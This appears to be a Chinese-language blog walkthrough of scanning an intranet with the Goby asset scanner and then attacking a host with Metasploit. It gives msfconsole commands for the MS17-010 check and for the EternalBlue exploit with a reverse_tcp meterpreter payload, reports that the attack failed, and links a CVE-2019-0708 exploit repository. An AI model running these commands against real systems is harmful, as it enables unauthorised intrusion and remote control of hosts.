0x00 前言

最近疫情严重，上班时间一拖再拖，在家学习的时候发现了goby，用于用于监控网络 IT 资产，

昨日复工，正好可以试用一下，扫描一下内网资产

补充个0708的 https://gitee.com/cbwang505/CVE-2019-0708-EXP-WIndows

0x01 Goby简介

分析目标网络IT资产的规则来建立知识库，可以在发生安全事件时在最短时间内管理安全紧急情况。与传统的端口扫描和漏洞扫描不同，Goby仅在较小的受影响区域处理漏洞紧急情况，因此此方法最快，对目标网络的影响最小

官网下载https://gobies.org/ 安装试用

设置扫描任务

期间发现了一台主机可能有永恒之蓝，遂打之

0x02 msf--ms17-010

扫描确认

攻击机 kali linux

靶机 10.118.72.111

工具 metasploit

nmap扫描靶机端口，确定445端口开启

<code>msfconsole #进入msfmsf >search ms17-010 #查看相关模块msf > use auxiliary/scanner/smb/smb_ms17_010msf auxiliary(scanner/smb/smb_ms17_010) > set rhosts 10.118.72.111msf auxiliary(scanner/smb/smb_ms17_010) > exploit /<code>

确认 vulnerable！

说明主机10.118.72.111存在MS17-010漏洞

漏洞攻击

下面使用攻击模块

<code>msf > use exploit/windows/smb/ms17_010_eternalblue msf exploit(windows/smb/ms17_010_eternalblue) > set rhost 10.118.72.111rhost => 10.118.72.111msf exploit(windows/smb/ms17_010_eternalblue) > set lhost xxxlhost => xxxmsf exploit(windows/smb/ms17_010_eternalblue) > set payload windows/x64/meterpreter/reverse_tcppayload => windows/x64/meterpreter/reverse_tcpmsf exploit(windows/smb/ms17_010_eternalblue) >/<code>

但是。。。没打成功

后面找到了参考https://laucyun.com/a6cb3c752b0fc10f0a9eeef01f7a5f76.html